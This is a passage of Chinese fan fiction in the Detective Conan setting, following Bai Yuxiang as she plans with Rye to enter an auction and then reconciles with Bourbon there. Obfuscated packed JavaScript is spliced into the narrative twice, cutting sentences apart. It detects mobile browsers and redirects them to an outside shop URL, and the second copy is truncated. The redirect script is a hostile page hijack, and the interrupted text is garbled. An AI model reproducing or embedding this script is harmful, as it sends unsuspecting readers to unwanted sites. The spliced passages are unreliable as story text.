“谢谢你愿意开诚布公,但我不想知道。”她说道,“对我来说,你是‘诸星大’和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223331|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘莱伊’就够了。” 她没有要和警方为伍的打算。 有些以眼还眼的事,在组织的眼皮子底下发生,只要不影响任务,就可以轻而易举地掩盖过去;但如果这些事到了警方的地盘,处理起来就会束手束脚。 她讨厌那样。 “不过,我和你个人的合作交易不会改变。”白羽响话锋一转,“涉及我的私仇,我们互利互惠。我需要帮助的时候,你随意联系你的外援,只要别让那些条子离我太近。等事情结束……” 他们心照不宣。 除了亲手报仇的部分,剩下的都可以交给莱伊处理。 莱伊没有再次争取,只是点了点头:“好。” “谢谢。”白羽响挑了挑眉。 这家伙竟然这么好说话,真是意想不到。 莱伊识趣地没继续这个话题。他从地上将刚刚没看完的几张相片捡了起来,递给白羽响,示意她继续看后面的照片。 于是白羽响继续往后翻。 第二、第三张和第一张拍摄的角度类似、只是八坂荒和三木一海的脸部特征拍得更加完善而已。往后翻到第四张的时候,白羽响的手停了下来。 这张照片拍得有些模糊,只能看清一个穿着黑色风衣的金发女人的侧影,身形窈窕,气质冷艳。 白羽响眯了眯眼睛。 是贝尔摩德。 哪怕画面模糊,她也能一眼认出那个人的身影,不是伪装,就是贝尔摩德本人无疑。 “真的是她。” 她有些感慨。虽然莱伊还没说,但下一个任务地点多半就是拍卖会的会场。 “时间就在三天后。”莱伊坐在桌沿,“我接到的要求是原地待命。没有明确的目标,没有具体的事,蹲守即可。” 说着,他报出了地址。 白羽响下意识看了一眼被莱伊递给她的地图,距离东京都拍卖行只有三分钟的路程。时间和地点都对上了,理应不会有差错。 奇怪。 派出了莱伊这样的杀手,竟然没有告诉他具体的目标?不管是负责确保交易顺利,还是杀人夺物销毁证据,都至少应该交代一句才对。 “你被怀疑了?”她揶揄道。 莱伊笑了笑:“没有。” 斩钉截铁的,真有自信。 白羽响稍作思考,大致明白了他费心折腾这么一出的意义:“我明白了。你要蹲守在附近,进不去现场,所以需要帮手。看来,我比你的同事要好用。” 莱伊没有否认,摊开了一张拍卖会的现场地图。 三天的时间很短,面对陌生的场地不一定来得及准备,这个任务需要随机应变。她本来就熟悉组织,当然是进场的第一人选。 “我会想办法让你进入会场,但不是组织的渠道。”他说道,“虽然FBI对八坂荒有怀疑,但这里是日本,没有证据动手会惹来麻烦。” “你打算怎么做?”白羽响问。 “突袭资金链上的某一环,拿取进场名额。到时候用一个干净的账户拍得展品并取证。” 原来如此。 莱伊不知道拍卖会的入场资格和画展的观展名额是绑定在一起的。不过他做了许多准备,甚至已经有了具体的计划,这是好事。 “可以。我确实有想要的展品,是我妹妹的那幅画作。”她笑了笑之后说道,“不过,我不要FBI的入场渠道,我只要你的钱。” 组织要用那些画作洗钱,但她不能接受妹妹画的那张画被不知名的买家买走糟蹋。她要那幅画兜兜转转回到她的身边,她会替妹妹好好珍藏的。 “还有一件事。”莱伊提醒她道,“你记得吗?那天在天台上开会的时候,波本过问了这个任务的情况。” 听到这个名字,白羽响的神色微微一变。 “虽然只是猜测,但他大概——” 也会在会场之中。 她在心中补上了莱伊没说的后半句。 45.她的利用来了 莱伊走向小阳台,推开狭小的玻璃门。 秋风吹进来,拂动他的长发。点燃了一根烟后,他看着近处的街道。 白羽响的身影在楼下的小巷中一闪而过,随后走进另一条街,消失不见。 临走之前,他们进行了最后的交谈—— “莱伊,如果未来有一天你暴露了身份,可以答应我一件事吗?” “带你一起走?” “哈,那倒不是。”她笑了起来,“我的意思是,如果真的到了那一天,与其被别人杀了,不如就让我在组织中公开身份,作为响酒的妹妹——” 她盯着他的眼睛,开玩笑一般地说道: “率先送你上路。” 烟燃烧着,星星点点。 只言片语,但意思很明确。如果他有一天暴露了卧底身份,她会以复仇者的身份率先对他开刀,公开身份为响酒洗刷冤屈,在组织继续深耕。 莱伊的脸上浮现出一丝笑意。 他本打算拉她一把,可她似乎把他看作“行走的功劳”。不知为什么,听到了这番冷血又唯利是图的话,他竟然一点都生气不起来。 尼古丁的味道顺着他的喉口沉入,呛人而刺激的味道蔓延着,很是醒脑。 她不可控,那又如何? 能够从她的枪下活下来,争取到现在的局面,他没什么不满与遗憾。 另一头,白羽响正一边走着,一边查看着拍卖会现场地图的照片。 时间有限,地图却很大,她最好能够全部记下来,这样方便她随机应变。与之前的任务不同,这次她并不打算做前置的潜入和搜集信息工作——光想想就知道,这种地方一定摄像头遍地,不管做什么都会留下痕迹。她得想个办法,在不算惊动各方的情况下,将能做的事做完。 只是,那天的现场会有多少组织成员? 爱尔兰?波本?或者……琴酒也在? 想到这里,她微微叹了口气。 莱伊在不远处没错,但场馆内部的情况不明,她又孤立无援,这可不是什么好兆头。 掏出钥匙,打开门锁,她走进了安全屋,映入眼帘的是一块熟悉的表。 几天前她和表的主人闹掰后,二人之间好像按下了暂停键。他彻底消失在她的眼前,没求和,也没报复,变得前所未有的安静。 那家伙的安全屋就在一条街以外,发生了这样的事,也不知道他有没有搬走。 她拿起表,用指尖轻轻摩挲着冰凉的表盘。 这块表或许可以派上一些别的用处。 她自言自语:“我们总不能一点默契都没有吧?” 三天后,东京都拍卖会馆外,衣着光鲜的男男女女们围在门口,空气中弥漫着香水味。时间还早,许多人没有进场,就站在门口与相熟的人攀谈。 白羽响站在一旁的柱子边,静静地思索着。 她今天特地早了些过来,在场馆内外转了一圈,暂时没发现组织内的熟人。前往工作人员区域的路暂时被拦着,有人看守,她不想引起他人注意,没有硬闯。 她在等。 几分钟后,她等待的人出现在了场馆外。 她的目光瞥向他的手腕处,不动声色地笑了。 波本今天是跟着三木一海一起来的。 自从三木被他威逼利诱到妥协之后,他就把人放了出来。最近他在商圈颇为活跃,一出现就立刻有人上来寒暄。三木与人说话的间隙,波本的目光扫过周围,有些不自然地转动了一下手腕的表带。 三天前,他安全屋门口的邮箱中收到了一个包裹。 打开一看,是一块有些眼熟的表。 如果不是记忆力足够好,他都要不记得这是曾经被白羽响顺走的那块手表。 他翻看了一遍,那块手表完好无损,不像是受他牵连的模样,倒像是被人好好保存。只是它出现得突兀——它只是一块最简单的表,外部既没有随之而来的文字信息,内部也没有用于监视的小型装置。 他一时拿不准白羽响将表还给他的意思。 是要彻底一刀两断,关于他的一切都不留着。 还是说,这是一种求和的信号? 三木的寒暄没完没了,他因站在一旁也被人顺势搭讪。就在他挂着微笑周旋的时候,一只微凉的手忽然伸过来,轻轻挽住了他的臂膀。 波本的身体瞬间绷紧,侧头望去,那张熟悉的脸撞入眼帘。 白羽响穿了一身剪裁得体的深色长裙,褪去了往日的休闲随性,多了几分贴合场合的精致,唇角噙着淡淡的笑意,眼底却藏着不易察觉的灵动。 他鸢色的瞳孔里闪过一刹那的受宠若惊。 那天在天台上甩的狠话那么伤人,他还以为没有回旋的余地了。这几天戴着这块表只是心存侥幸碰碰运气,没想到她竟然真的走到身边挽了他的手。 就连三木一海见到她也愣住了一瞬,随后又立刻抛下了刚刚在对话的人,朝她走了两步堆出了笑意:“白羽小姐也来了?安室先生刚刚还在说你的模特工作忙碌,今天没有空来。” 白羽响对着三木一海颔首示意,笑着看了一眼身边的波本:“这是惊喜,当然不能提前告诉他。” 波本顺着她充满爱意的目光,扯出一丝笑意。 周围的几个人恭维着他们的恩爱,见他们和三木一海熟悉,还顺势问了他们的座次。 “其实……之前发送来的短讯被我不小心删除,有点不太记得了。”她有些为难地说着,又回头望向波本,“不过,我家亲爱的一定知道,对吧?” 亲爱的。 这个虚假的称呼像是一盆冷水,让他清醒了些。 突然寄来手表,又做出这般亲昵的姿态,搞了半天是想借着他的力,混进拍卖会? 说到底,最后二人的关系还是停留在了互相利用上。 心头那点隐秘的雀跃瞬间消散,只剩下密密麻麻的失落。 他既没挣脱,也没戳破,只是不动声色地任由她挽着,维持着脸上得体的笑容:“当然记得。我们先进去了,失陪。” 他们并肩走到门口,进行了简单的登记。波本拿出了手机,白羽响顺势看了一眼他短讯上的座次。 后排,角落,隐蔽而利于脱身,是个好位置,反正肯定比她原本预留的位置要好。 侍者将竞买号牌双手递到波本的手上,二人并肩朝着场内走去。入场的人还不多,周围的人渐渐变少,白羽响环视四周,不知不觉松开了波本的胳膊。 手臂上的重量骤然消失,那微凉的触感却像烙印般残留着。 波本皱眉咬了咬后槽牙,声音压得极低:“利用我就这么容易吗?这就翻脸不认人了?” 他倒不是想赶她走,甚至他知道白羽响大概就是想要只是不明白——哪怕知道是利用,也忍不住贪恋这份短暂的亲近。可话到嘴边,莫名就泛着一股酸味。 调查、欺骗、利用,这些都是情报组的惯用手段。 他承认,当初调查她、想利用她达成任务,这都是实情。白羽响觉得被冒犯,与他争吵、打了他,他也没觉得自己无辜。甚至那些假话中夹杂的真话,不被她信任和理解,他都认了。 可他就是想不通,凭什么莱伊那种人,就能得到她的宽免?她与莱伊可是隔着立场与生死的仇恨。 这份委屈与怨气,像藤蔓一样缠绕在他心头,这几天日夜萦绕,怎么也挥之不去。 他本以为那块手表是一种态度上的松动,可她怎么就这么不近人情。 难道上次的争吵,她就真的一点都不在意吗? 就在他暗自咬牙切齿、心绪翻涌的时候,那只微凉的手,竟再一次攀上了他的胳膊。 波本瞬间神情一僵。他下意识侧头,看向白羽响的脸。 她没有看他,只是若无其事地望着前方会场的方向,唇角却悄悄勾起一抹浅淡的弧度,那笑意很轻,却真实得不像伪装,连带着原本紧绷的下颌线都柔和了几分。 他还没来得及说句话,臂弯上的力道重了两分。 她轻轻用力扯了扯他:“别乱想,走了。” 白羽响挽着波本的手进入了会场,脚下的地毯吸走了脚步声,只留下拍卖会现场特有的、压抑的喧嚣。 “上二楼。”波本轻声说了一句。 白羽响瞄了一眼二楼,那里是拍卖场的包厢区域。 二十个包厢沿着环形墙壁依次排开,每一个都带着独立的落地窗,窗帘半掩,只能隐约看到里面人影晃动,却看不清具体模样。 不愧是波本。 明明在一楼内场有座位,但依然另有个昂贵的VIP包厢,简直完美地符合她对他一贯的认知,就连说的话也还是那样的不中听。 脚步踏上楼梯的瞬间,她提起了裙摆,挽着的手不自觉就松开了。 察觉到温度的遗失,波本停下脚步。 他猛地握住了她的手掌,微微用了用力。二人的动作瞬间从挽着变成了牵手。 指腹之下是波本掌心的纹路。 这是一种很新奇的体验,他们从前就扮演过情侣,但是像这样牵手的动作还从来没有尝试过。 她没有挣脱,目光扫过了波本的脸。 他的耳尖悄悄泛红,却没有移开目光,似乎正在小心翼翼地观察她有没有将手缩回去的打算。这副模样,和那个在组织里步步为营、在情报场上翻云覆雨的神秘主义者,兼职判若两人。 波本……会有这样的表情? 她有些稀奇地盯着那张漂亮的脸。这家伙诡计多端的形象深入人心,示弱带着几分刻意的算计,靠近藏着明确的目的。可是现在,他的神情褪去了伪装与锋芒,露出了瞬间的忐忑不安。 他在忐忑些什么? 白羽响被波本一路牵到了二楼的包厢。 包厢门关上的瞬间,房中只剩他们两个人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他当然知道,如果不是执意要调查她的身份,急于利用她达成任务,或许也就没有后来的这么多波澜和争执。但当初做这些事的时候,他觉得一切都是理所当然;直到东窗事发,他才开始知道坐立难安的滋味。 算了。 至少她的态度有所松动,总比之前一段时间好些。 “好,我不打听你的事了。”波本叹了口气,将手中的竞买号码递给了她,“那个位置你拿去用,我有另外的事情,不常在。” 拿到了想要的东西,白羽响露出了笑脸:“谢谢。” “另外有件事,我要提醒你。”波本顿了顿,继续说道,“拍卖品里凡是超过两个亿的东西,别去碰。” 两个亿,几乎是她能够拿出的所有钱了。 不过她今天并没有这么多的预算,也不觉得那幅画要值这么多钱。但波本显然话里有话,或许是在传递什么消息。 白羽响盯着他的脸:“怎么说?” 看着她好奇的眼神,波本露出了一丝狡黠的微笑:“我也无可奉告,你就只当是个忠告吧。” 那股子熟悉又讨人厌的波本味回来了。 白羽响收回了眼神,翻了个白眼。 虽然他不肯把话说全,但有消息总是比没消息好。四舍五入也算他帮了忙,这事儿就不记他一笔了。 包厢里又安静了下来,也该到要离开的时候了。 白羽响刚准备站起身,就听见身后传来了轻而犹豫的声音。 “之前的事,我很抱歉。我……” 他的话还没说完,白羽响就回过头,盯着他的脸。 她的目光一来,波本瞬间说不下去了,转开脸,神情有点尴尬。 看这样子,他还挺希望尽快和好的。白羽响心里觉得好笑。 他应该很少跟人道歉吧?这一句也酝酿了。 罢了。就当是逢场作戏,哄一哄他,让他被利用得舒服点好了。 她朝他走了两步,波本还没反应过来,脸颊上就被她的嘴唇轻轻触碰了一下。 蜻蜓点水一般的亲吻猝不及防。波本僵在原地,指尖下意识抚上脸颊。鸢色的眸子里露出了难以置信的错愕。 一瞬间,仿佛回到了他们第一次见面假扮情侣的时候。 那时候,她也曾经给过一个这样的亲吻,在他的脸颊上。 “翻篇了。我们不提那些了。” 说罢,白羽响后退了半步,与他拉开了些距离。 她寄出那块表,就代表着不想和波本一直僵持下去。原本只是计划着今日释放与他和解的信号,在今天这样凶险的场合,多一个愿意搭把手的盟友。 至少,现在的他看起来没那么危险了。